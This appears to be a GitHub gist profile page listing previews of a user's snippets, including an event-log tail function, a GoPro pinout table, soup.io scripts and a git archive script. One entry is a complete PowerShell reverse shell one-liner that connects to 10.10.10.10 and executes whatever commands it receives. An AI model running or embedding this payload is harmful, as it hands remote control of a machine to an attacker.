Skip to content

Instantly share code, notes, and snippets.

View soulflyman's full-sized avatar
🦄
Death Metal Unicorn

soulflyman

🦄
Death Metal Unicorn
  • Ludwigshafen, Germany
View GitHub Profile
@soulflyman
soulflyman / Get-WinEventTail.ps1
Created September 19, 2023 15:19 — forked from maravedi/Get-WinEventTail.ps1
This function will allow you to tail Windows Event Logs. You specify a Logname for either the original logs, Application, System and Security or the new format for the newer logs Microsoft-Windows-PowerShell/Operational
Function Get-WinEventTail
{
<#
.SYNOPSIS
A tail cmdlet for Eventlogs
.DESCRIPTION
This function will allow you to tail Windows Event Logs. You specify
a Logname for either the original logs, Application, System and Security or
the new format for the newer logs Microsoft-Windows-PowerShell/Operational
.PARAMETER LogName
@soulflyman
soulflyman / powershell_reverse_shell.ps1
Created February 10, 2022 13:41 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@soulflyman
soulflyman / GoPro-HerobusPinout.md
Created July 16, 2021 22:20 — forked from orangkucing/GoPro-HerobusPinout.md
Herobus pinout of GoPro Hero 3+ Black
pin I/O label description remark
1 - GND ground
2 I/O I2CSCL I²C clock (pulled up by camera)
3 I/O I2CSDA I²C data (pulled up by camera)
4 - GND ground
5 I BATTIN battery input
6 I BATTIN battery input
7 O 3V8OUT unregulated power out 3.8V 0V when camera is off.
8 O 3V8STBY unregulated power out 3.8V always keep 3.8V unless battery is out.
@soulflyman
soulflyman / soup.io_autoplay.js
Last active March 15, 2017 13:51
soup.io videos autoplay
function videoAutoplay()
{
var videos = document.getElementsByTagName('video');
for(var i = 0; i < videos.length ; i++)
{
videos[i].muted = true;
videos[i].autoplay = true;
videos[i].loop = true;
}
}
@soulflyman
soulflyman / fixAssetLoading.html
Created February 28, 2017 10:37
The fixAssetLoading.js from @edave64 modified for the use in your "about" field in your soup.io profile
<script type="text/javascript">
/**
* Replaces assets that fail to load with working alternatives.
*
* Licence: Public domain
*/
/**
* @param {Element} ele
*/
@soulflyman
soulflyman / build_update_archive.sh
Created February 15, 2017 13:20
Create update archives, with all changed files, from a git repostiry
#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
echo -e "usage: buil <fromTAG> <toTAG> <outputFOLDER>\n";
echo -e "Creates a ZIP file with all files that where changed between the fromTAG and the toTag."
echo -e "Parameters:\n";
echo -e "\t<fromTag>\t the tag FROM which you want to update";
echo -e "\t<toTag>\t\t the tag TO which you want to update";
echo -e "\t<outputFOLDER>\t the folder where the generated zip archive will be saved\n";
echo -e "If you leave the outputFOLDER parameter empty, no archive will be created";
# Before Script
before_script:
- composer self-update
- composer install --prefer-dist > /dev/null
- cp .env.example .env
- php artisan key:generate
- php artisan migrate:refresh
# Services
services:

Description

This combination of scripts monitors the services on an linux system, if a service is down it writes a log and sends a push notification via pushover (http://pushover.net). After all tests it flushes the mailq.

Files

monitor_services.sh - Monitors the services and writes the log entry if one is down

bo.sh - small api implementation for pushover push notification service